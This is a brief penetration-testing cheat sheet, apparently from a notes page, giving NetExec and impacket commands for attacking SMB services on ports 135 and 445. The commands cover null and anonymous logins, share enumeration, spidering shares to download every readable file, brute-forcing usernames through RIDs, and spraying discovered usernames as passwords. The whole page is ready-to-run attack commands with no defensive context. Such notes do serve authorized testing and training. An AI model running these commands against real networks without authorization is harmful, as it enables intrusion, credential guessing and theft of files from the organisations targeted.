SMB - 135, 445
Enumerate
# Null authentication
nxc smb $IP -u '' -p ''
# Anonymous authentication
nxc smb $IP -u 'a' -p ''
# Enumerate shares
nxc smb $IP -u 'a' -p '' --shares
# Spider all shares, downloading all readable files
nxc smb $IP -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=.
# List all files with their respective shares
cat $IP.json | jq '. | map_values(keys)'
# Manually enumerate during spider scan
impacket-smbclient $DOMAIN/$USERNAME:$PASSWORD@$IP -dc-ip $DC_IP
# Brute force usernames through RIDs
nxc smb $IP -u 'a' -p '' --rid-brute 10000
# Brute force discovered users
nxc smb $IP -u users.txt -p users.txt --continue-on-successUtilize Credentials
Last updated